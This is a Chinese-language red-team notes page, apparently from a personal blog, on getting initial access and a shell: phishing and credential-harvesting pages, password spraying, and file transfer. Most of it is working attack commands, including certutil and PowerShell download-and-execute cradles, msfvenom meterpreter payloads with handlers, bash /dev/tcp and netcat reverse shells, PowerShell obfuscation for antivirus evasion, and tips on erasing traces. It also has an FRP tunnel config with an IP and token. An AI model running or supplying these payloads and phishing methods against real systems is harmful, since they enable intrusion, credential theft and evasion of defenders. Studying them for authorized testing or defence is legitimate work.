获取入口,拿 Shell。
获取入口
邮件钓鱼
Word/Excel 宏文件
制作钓鱼站点
SPF 邮件伪造
DMARC
DKIM
学习资料
Wi-Fi
网线
Bad USB
Exchange
Office 365
开源应用
Web 集成环境
Web
Password spraying
近源渗透
社会工程学
Phishing
文件传输
Windows 主机
Linux 主机
编程语言
Reverse Shell
Windows
Linux
建立隧道
venom
Proxifier
FRP
proxychanis
nps
SSH
参考资料
能够拿权限的漏洞:
SQL Injection
RCE
反序列化
代码执行
命令执行
文件上传
弱口令
以及打现有 NDay。
每个小节里面内容可以写出一系列文章,将其贴入即可。如 Struts2
Struts2:
[CVEXXXX-XXXX 分析]()
......
Struts2
ThinkPHP
Shiro
fastjson
ElasticSearch
Dedecms
PHPCMS
ECshop
Metinfo
Discuz
帝国CMS
phpMyAdmin
WordPress
Joomla
Drupal
ActiveMQ
Solr
RabbitMQ
ZooKeeper
Typecho
SiteServer
禅道
通达 OA
WebServer
WebLogic
Jboss
WildFly(前身叫 Jboss)
Tomcat
IBM WebSphere
Axis2
GlassFish
IIS
Jekins
一般偷懒或者不会搭建环境的人使用,没有权限意识则的会用管理员运行权限启动,如 Administrator 或 Root。
宝塔
PHPStudy
AppServ
Xampp
密码喷洒和暴力破解区别是什么呢?前者是一个密码对多个账户进行登录,后者是一个账户尽可能使用多个密码尝试登录。
https://github.com/dafthack/MailSniper
导入。
ipmo .\MailSniper.ps1
获取 netbios 名。
Invoke-DomainHarvestOWA-ExchHostname <host>
验证邮箱名。
Invoke-DomainHarvestOWA-ExchHostname -UserList .\userName.txt -OutFile sprayed-ews-creds.txt
验证子域邮箱名
Invoke-DomainHarvestOWA-ExchHostname -Domain <domain> -UserList .\userName.txt -OutFile sprayed-ews-creds.txt
物理渗透、物理攻击、近源渗透,这几个的意思都是在接近目标进行安全测试。
没有终端准入控制,直接插网线 DHCP 获取 IP。
Black Hat 上提出 Bad USB。
在信息收集过程中就开始。
钓鱼本质是利用人的信任。
信息收集开始就发钓鱼,有个时间差,人家不一定点呢
https://attack.mitre.org/techniques/T1566/
https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki#phishing-setup
邮件
SPF 邮件伪造
DMARC
DKIM
Spearphishing Attachment
选择一个相似域名,比如 www.baidu.com,变为 www.baidU.com
制作 Web 页面
vpn
oa
Nginx 反向代理嗅探明文账户。
模拟出一个真实钓鱼页面,迷惑受害者输入账户,通过 JS 正则验证输入账户是否正确,所有信息格式正确后通过 Javascript Fetch or XMLHttpRequest API 发送数据到服务器,服务器通过参数来获取数据并存入本地数据库或文件。
建立隧道或者内网横向时肯定要往服务器传文件,用 WebShell 就很方便。如果这台机器本身没有 WebShell,可以用系统自带程序下载文件,如 wget。
本小节使用如 certutil 证书工具,它原本意图不是用来下载文件的,但是可以这么干,有一个项目叫 LOLBAS 介绍了 Windows 下所有可以用来帮助渗透的程序,Linux 有 GTFOBins。
FTP
服务端开启 FTP 服务。
pip install pyftpdlib
python3 -m pyftpdlib
还有部分选项可以指定:
-i,指定 IP 地址(默认本机地址)
-p,指定端口(默认 2121)
-w,写权限(默认为只读)
-d,指定目录 (默认为当前目录)
-u,指定用户名登录
-P,设置登录密码
客户端连接。
1.运行 copy con <FileName>
把 FTP 配置写入到 <FileName>
,复制的文件 con 是键盘输入。
open <Host> <Port>
anonymous
anonymous
get <Tool>
bye
open 是连接到 FTP 服务器,后面 anonymous 是账户,get 是下载文件,quit 断开连接。
真实利用中不会有交互式 Shell 使用,FTP 使用 -s 选项执行 <FileName>
中 FTP 命令解决。
ftp -s:<FileName>
bitsadmin
Bitsadmin is a command-line tool used to create, download or upload jobs, and to monitor their progress
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin
bitsadmin /transfer <JobName> http://<Host>/<Filename> <SaveFileName>
certutil
证书管理工具下载文件到当前目录。
certutil -urlcache -split -f http://<Host>/<Filename>
使用 certutil 下载的文件会原封不动在 %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
目录下保存一份,文件名位随机字符,使用 delete 可以删除刚下载的缓存。
certutil -urlcache -split -f http://<Host>/<Filename> delete
PowerShell
powershell (new-object system.net.webclient).downloadfile('http://<HOST>/<Filename>', '<Filename>')powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('http://<HOST>/<Filename>', '<Filename>')"
// invoke-WebRequest 可以简写成 iwr、wget、curl
powershell invoke-WebRequest -uri 'http://<HOST>/<Filename>' -OutFile '<Filename>'
scp
// 拷贝单个文件到当前目录
scp <UserName>@<Host>:<AbsoluteFilePath> ./// 拷贝目录到当前目录
scp -r <UserName>@<Host>:<AbsoluteFilePath> ./
OPSEC:连接远程服务器在 %USERPROFILE%.ssh\known_hosts 会留下主机 IP 和公钥信息。
File Sharing
net use 使用管理员账户才能建立 IPC 连接。
// 用户名为 administrator 密码为 123123 的账户登录到 <Host>,将其共享盘符 C 盘映射到本地 K 盘。
net use K: \\<Host>\C$ "123123" /user:administrator
删除连接。
net use \\<Host> /del
VBScript
直接在目标机器上输出重定向脚本。
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
运行下载。
cscript wget.vbs http://<HOST>/<Filename> <Filename>wscript wget.vbs http://<HOST>/<Filename> <Filename>
./wget.vbs http://<HOST>/<Filename> <Filename>
缺点是不支持 https。
至于 cscript 和 wscript 区别,个人在 Windows 11 Terminal 上执行没观察到不同,也不弹框,杀软不拦。
下完后记得删除脚本 wget.vbs,避免留痕。
wget
// 下载文件到当前目录
wget http://<Host>/<FileName>// -O 可以保存到指定目录
wget http://<Host>/<FileName> -O <FileName>
curl
// 下载文件到当前目录
curl http://<Host>/<FileName> -O// -O 保存到指定目录
curl http://<Host>/<FileName> -o <FileName>
如果下载连接证书有问题,可以用 -k 跳过。
curl http://<Host>/<FileName> -O -k
nc
参见 Netcat - raingray Blog 一文。
Server 监听 333 端口接收 333 端口传过来的文件,输出重定向为 23.txt
nc -lp 333 > 23.txt
Client 连接到 1.1.1.1 333 端口 并把 1.txt 文件传过去,成功延迟 1 秒关闭连接。
nc -nv 1.1.1.1 333 < 1.txt –q 1
下面是另一种用法。
Server 监听本机 333 端口,将333端口作为 a.mp4 文件的输入来源,也就是 a.mp4 将输入重定向到 333 端口。
nc -lp 333 < a.mp4
Client 连接到 1.1.1.1 333 端口后将 333 端口的内容输出重定向到当前文件夹下的 2.mp4 文件中,如果没有这个文件它会自动创建。
nc -nv 1.1.1.1 333 > 2.mp4
sftp
// 默认使用 SSH 连接到 22 端口。
sftp [email protected]// 用 -P 指定 SSH 端口
sftp -P <Port> [email protected]
OPSEC:连接远程服务器在 %USERPROFILE%.ssh\known_hosts 会留下主机 IP 和公钥信息。
非交互式下载(待验证)。
使用 <Username>
、<Password>
连接到 <Host>
下载 <FileName>
。
echo "sftp -n <Host> <<BLAH" >> file.sh
echo "quote USER <UserName>" >> file.sh
echo "quote PASS <Password>" >> file.sh
echo "bin" >> file.sh
echo "get <FileName>" >> file.sh
echo "quit" >> file.sh
echo "BLAH" >> file.sh
echo "exit 0" >> file.sh
chmod +x file.sh && ./file.sh
git
语法也很简单直接,第一个参数是要克隆的仓库,第二个参数是仓库保存到当前目录的名称。
git clone <repository> [<directory>]
克隆支持常见 3 中 URL。
git clone ssh://[[email protected]]host.xz[:port]/path/to/repo.git/
git clone git://host.xz[:port]/path/to/repo.git/
git clone http[s]://host.xz[:port]/path/to/repo.git/
系统自带语言环境。
PHP
// 直接执行 Code,将 http://<Host>/FileName 写入到本地 FileName。
php -r 'file_put_contents("FileName", file_get_contents("http://<Host>/FileName"));'
Python
// Python2// 将 http://<Host>/FileName 写入 Path 中python2 -c "import urllib2;u=urllib2.urlopen('http://<Host>/FileName');f=open('Path', 'w');f.write(u.read());f.close()"// Python3// 将 http://<Host>/FileName 写入 Path 中,这里要注意 decode() 中编码要与目标文件编码一致。python3 -c "import urllib.request;u=urllib.request.urlopen('http://<Host>/Filename');f=open('Path', 'wb');f.write(u.read())"// Python3 写文本文件。// 注意事项:decode() 编码一定要和目标文本编码一致不然会乱码。python3 -c "import urllib.request;u=urllib.request.urlopen('http://<Host>/FileName');f=open('Path', 'w');f.write(u.read().decode('UTF-8'))"
Ruby
// 将 <Host>/FileName 下载保存为 Path。只支持 HTTP,如果目标自动重定向到 HTTPS 则会出错。
ruby -e "require 'net/http';Net::HTTP.start('<Host>') { |http| r = http.get('/FileName');open('Path.png', 'wb') { |file| file.write(r.body)}}"
Perl
perl -MLWP::Simple -e 'getstore("http://<Host>/FileName", "Path")'
https://highon.coffee/blog/reverse-shell-cheat-sheet/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
反弹 Shell 分正向和反向,正向是目标机器开放入口等待主动连接,我们连接成功后拿到 Shell,如 Web Shell。一旦涉及到弹系统 Shell 则较麻烦,目标防火墙入站不接受日常服务——SSH、HTTP、HTTPS 以外规则访问,导致无法连接成功。
Client -> Firewalld -> Server
反向则是目标机器将自己 Shell 交出来主动连接我们服务器。只要目标机器能够外连互联网机器即可,这种情况避免了入站流量被阻断的情况,一般来说出站流量不会收到限制。
Server -> Firewalld -> Client
Netcat(待测试)
正向连接
服务端监听。将 cmd 重定向到 6666 端口。
nc -lvp 6666 -e cmd.exe
客户端连接。
nc 1.1.1.1 6666
反向连接。
服务端主动连接客户端。主动将 cmd.exe 传递到 1.1.1.1 7777 端口
nc -e cmd.exe 1.1.1.1 7777
客户端等待连接
nc -lvp 7777
mshta
msf 开启 hta 服务。
use exploit/windows/misc/hta_server
set srvhost <Host>
set payload windows/x64/meterpreter/reverse_tcp
set target 1 // 设置目标系统类型为 x64,0 是 x86
exploit -j
Payload 和 target 设置类型设置为 X64 还是 X86,实际情况要根据系统版本来看。
执行反弹。
mshta http://<Host>:8080/say00S5.hta
msfvenom 生成 HTA 文件。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhos=<Host> loport=<Port> -f htfa-psh -o attack.hta
msf 监听即可。
handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
这里 handler 相当于一键设置 exploit/multi/handler 和 Payload。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <Host>
set lport <Port>
exploit -j
Cobalt Strike 也可以生成 hta 文件,在菜单 Attacks -> HTML Application 生成。
Rundll32
Rundll32 用于运行 32 位 DLL 文件,说白了就是能执行 dll 中代码。
可以执行 .hta 上线。
rundll32.exe url.dll,OpenURL attack.hta
或者是通过 MSF SMB Delivery 上线。
设置共享 dll 服务监听 IP 和端口,默认监听 0.0.0.0:445
use exploit/windows/smb/smb_delivery
启动完成将给出 .dll 文件地址。
rundll32.exe \\Host\test.dll,0
默认共享不方便使用,可以找到 MSF 生成的 .dll 复制下来用 http 服务托管加载。
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=<Host> LPORT=<Port> -f dll > attack.dll
msf 使用指定 Payload 监听。
handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
客户端加载上线。
rundll32 shell32.dll,Control_RunDLL attack.dll
Regsvr32
Regsvr32 用于注册 .dll 文件为组件。
存放在 %systemroot%\System32\regsvr32.exe。
use exploit/multi/script/web_delivery
set srvhost <Host>
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set lhost <Host>
exploit -j
客户端执行上线。
regsvr32 /s /n /u /i:http://<Host>/xxx.sct scrobj.dll
Certutil
生成 exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Host> LPORT=<Port> -f exe > attack.exe
下载文件到 C:\Windows\Temp\ 并执行,最后删除缓存。
certutil -urlcache -split -f http://<Host>/attack.exe C:\Windows\Temp\attack.exe & start C:\attack.exe// 删除缓存
certutil -urlcache -split -f http://<Host>/attack.exe
Powershell
1.生成 PowerShell 脚本上线。
生成 ps1 脚本指定反连接地址和端口。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Host> lport=<Port> -f psf-reflection -o attack.ps1
MSF 监听。
handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
执行上线。
powershell -w hidden -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<Host>/attack.ps1');attack.ps1"
2.powercat 上线。
此工具实现了 Netcat 功能。
-c 反连服务器地址,-p 反连服务器端口,-e 反弹 cmd。
powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<Host>/powercat.ps1');powercat -c <Host> -p <Port> -e cmd"
服务端只需等待 Shell 反弹回来即可。
nc -lvp <Port>
3.msf web_delivery 上线。
target 2 PSH 是 PowerShell 简写,用于生成 PowerShell 脚本。
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
exploit -j
执行 msf 提供的脚本即可。
4.PowerShell 运行 cscript 程序去执行 vbs 脚本上线
生成 vbs 脚本。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Host> lport=<Port> -f vbs -o attack.vbs
MSF 监听。
msf6> handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
下载脚本到 $env:temp,sccript 执行 attack.vbs 上线。
powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<Host>/attack.vbs',\"$env:temp\attack.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\attack.vbs\""
5.PowerShell 运行 bat
msfvenom -p cmd/windows/powershell_reverse_tcp lhost=<Host> lport=<Port> -o attack.bat
MSF 监听。
handler -p cmd/windows/powershell_reverse_tcp -H <Host> -P <Port>
上线。
powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<Host>/attack.bat'))"
6.补充
PowerShell 混淆
Invoke-Obfuscation
导入脚本
powershell -ep bypass import-Module ./Invoke-Obfuscation.psd1;Invoke-Obfuscation
设置需要混淆的脚本路径。
set scriptpath C:\attack.ps1
设置混淆模式。
token\all\1
输出混淆后脚本。
out mix-attack.ps1
尝试执行混淆后脚本看 AV 是否拦截。
powershell -ep bypass -f mix-attack.ps1
msiexec
msiexec 用于安装 Windows MSI 程序,常常通过命令行用来批量安装应用。
生成 Payload。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Host> lport=<Port> -f msi -o attack.msi
MSF 监听。
handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
上线。
msiexec /q /i http:<Host>/attack.msi
OPSEC:运行后不知道需确认 %TEMP%
是否存在日志(这条待确认)https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84msiexec#:~:text=%E6%89%A7%E8%A1%8C%E5%90%8E%E4%BC%9A%E5%9C%A8%25TEMP%25%E4%B8%8B%E7%94%9F%E6%88%90MSI%E7%9A%84log%E6%96%87%E4%BB%B6%EF%BC%8C%E5%A6%82%E5%9B%BE
exe 可执行文件
生成 Payload。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Host> lport=<Port> -f exe -o attack.exe
MSF 监听。
handler -p windows/x64/meterpreter/reverse_tcp -H <Host> -P <Port>
上线。
powershell (New-Object Net.WebClient).DownloadString('http://<Host>/attack.bat', 'attack.exe');start attack.exepowershell -w hidden -ep bypass -nop (New-Object Net.WebClient).DownloadString('http://<Host>/attack.exe', 'attack.exe');start-process attack.exe
Bash
控制端将输入传输到被控端执行,被控端也要将执行返回的内容输出到控制端完成交互。
// 返回部分交互式 Shell,没有 [[email protected] CurrentDir]
bash -i > /dev/tcp/<IP>/<Port> 0>&1 2>&1// 能够返回完整可交互 Shell
bash -i &> /dev/tcp/<IP>/<Port> 0>&1
bash -i
/dev/tcp
0>&1
2>&1,2 是错误输出,>& 是错误输出重定向,1 是标准输出,连起来是将错误内容输出重定向到标准输出里。
Netcat
Server 监听
nc -lvp <Port> -e /bin/sh
Client 连接到目标端口即可拿到 Shell
nc <IP> <Port>
nc 没有 -e 参数如何反弹。
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <IP> <Port> > /tmp/f
详见 Netcat - raingray Blog 一文
Server 监听 333 端口,用 -c 把 shell 传过去,
-c
是使用 shell。nc -lp 333 -c bash
Client nc 连接到 Server 333 端口,由于服务端把 shell 传过来了,客户端就拥有执行命令的权限,权限多大的具体看用户。
nc 172.28.112.34 333
另外还有种用法是客户端监听 333 端口(测试者开放端口等待服务端连接)。
nc -lp 333
服务端连连接 333 端口把自己的 shell 传给客户端。得到目标系统 shell 后可以利用这种方法把目标系统 shell 传给测试者(让服务器主动连接测试者)。
B(server):nc 172.28.112.34 333 -c bash
注:如果是 Windows 请把 shell 换成 cmd。
Python
通过 Python 获取 pty 终端,不太好用但相比 Bash 反弹的 Shell 来说好多了。
python -c "import pty;pty.spawn('/bin/bash')"
关于获取一个标准终端的两篇文章
https://www.freebuf.com/news/142195.html
https://bbs.ichunqiu.com/thread-54982-1-1.html
https://legoc.github.io/2018/09/20/Linux提权思路
PHP
Ruby
Perl
OpenSSL
Telnet
git hooks
在项目设置 git hook 的 pre-receive 写上反弹语句,pre-receive 就是在 commit 之前会执行脚本。之后就新建个文件 commit 就可以拿到 Shell了。
create tunnel
开启隧道:ABPTTS,就是加了 SSL
reGeog+proxifie,NPS,socktcap,ew
传输隧道按层划分:应用层啊,传输层啊。
HTTP,TCP,DNS,SSH,SOCKS,SOCKS5,ICMP
挂代理不要 icmp,很多工具不支持
流量转发与隧道选择
人称狗洞,用来流量转发 https://github.com/vzex/dog-tunnel
文章:
[1] 内网端口转发及穿透
https://hatboy.github.io/2018/08/28/%E5%86%85%E7%BD%91%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91%E5%8F%8A%E7%A9%BF%E9%80%8F/#%EF%BC%883%EF%BC%89Dog-Tunnel
[2] (Almost) All The Ways to File Transfer
https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65
[3] 一句话开启HTTP服务
frp 内网穿透,配合 vps 使用,效果还不错。在反弹 Shell 时一直有个问题,在没有公网 vps 中转流量如何反弹 Shell 到本机?
拿到管理员权限后可以用 Proxifer 来代理本机软件,通过 frp 开 socket 连接到目标内网。
https://github.com/Dliv3/Venom
目标通网,可以使用 FRP 连到内网,不用处理,直接免杀。
frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
kcp_bind_port = 7000
token = 18xujk38
tcp_mux = true
log_file = ./frps.log
log_level = info
log_max_days = 3
frpc.ini
[common]
server_addr = 106.2.120.110
server_port = 7000
protocol = kcp
token = 18xujk38[plugin_socks5]
type = tcp
local_port = 8084
remote_port = 29017
plugin = socks5
use_encryption = true
use_compression = true
红方人员实战手册
https://github.com/klionsec/RedTeamer
《The Hacker Playbook 3》
https://www.amazon.com/Hacker-Playbook-Practical-Penetration-Testing-ebook/dp/B07CSPFYZ2